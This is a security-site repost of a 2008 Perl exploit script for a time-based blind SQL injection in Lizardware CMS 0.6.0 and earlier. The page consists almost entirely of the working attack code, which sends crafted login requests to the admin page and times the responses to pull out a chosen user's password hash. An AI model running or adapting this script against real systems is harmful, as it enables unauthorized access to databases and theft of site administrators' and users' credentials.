首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Lizardware CMS <= 0.6.0 Blind SQL Injection Exploit
来源:staker[at]hotmail[dot]it 作者:athos 发布时间:2008-12-18  
#!/usr/bin/perl -w
# Lizardware CMS <= 0.6.0 Blind SQL Injection Exploit
# by athos - staker[at]hotmail[dot]it
# http://sourceforge.net/projects/lizardwarecms/

use strict;
use LWP::UserAgent;

my ($stop,$start,$hash);

my $domain = shift;
my $ptable = shift;
my $userid = shift or &usage;

my @chars = (48..57, 97..102);
my $substr = 1;
my $http = new LWP::UserAgent;


&usage unless $domain =~ /^http:\/\/(.+?)$/i and $userid =~ /^[0-9]$/;


sub send_request
{
     my $post = undef;
     my $host = $domain;
     my $param = shift @_ or die $!;
 
     $host .= "/administrator/index.php?loginsubmitMTIyOTU0ODExMg== ";
     $post = $http->post($host,[
                                 user      => $param,
                                 pass      => 'anything'
                               ]);

}


sub give_char
{
     my $send = undef;
     my ($charz,$uidz) = @_;
 
     $send = "' or (select if((ascii(substring".
             "(user_password,$uidz,1))=$charz),".
             "benchmark(230000000,char(0)),".
            "0) from ${ptable}_users where user_id=$userid)#";

     return $send;
}


for(1..32)
{
     foreach my $set(@chars)
     {
          my $start = time();
   
          send_request(give_char($set,$substr));
   
          my $stop = time();
 
         if($stop - $start > 6)
         {
              syswrite(STDOUT,chr($set));
              $substr++;
              last;
        }
    }
}

sub usage
{
     print "[?] Lizardware CMS <= 0.6.0 Blind SQL Injection Exploit\n";
     print "[?] by athos - staker[at]hotmail[dot]it\n";
     print "[?] Usage: perl $0 http://[host/path] [table_prefix] [id]\n";
     exit;
}

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Phoenician Casino FlashAX Acti
·Microsoft Outlook Express DoS
·PHP python extension safe_mode
·Microsoft SQL Server sp_replwr
·Realtek Sound Manager (rtlrack
·2532Gigs 1.2.2 Stable Remote C
·Aiyoota! CMS - Blind SQL Injec
·FLDS 1.2a report.php (linkida)
·Avahi < 0.6.24 (mDNS Daemon) R
·MyPBS (index.php seasonID) Rem
·ReVou Twitter Clone Admin Pass
·OneOrZero helpdesk 1.6.*. Remo
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved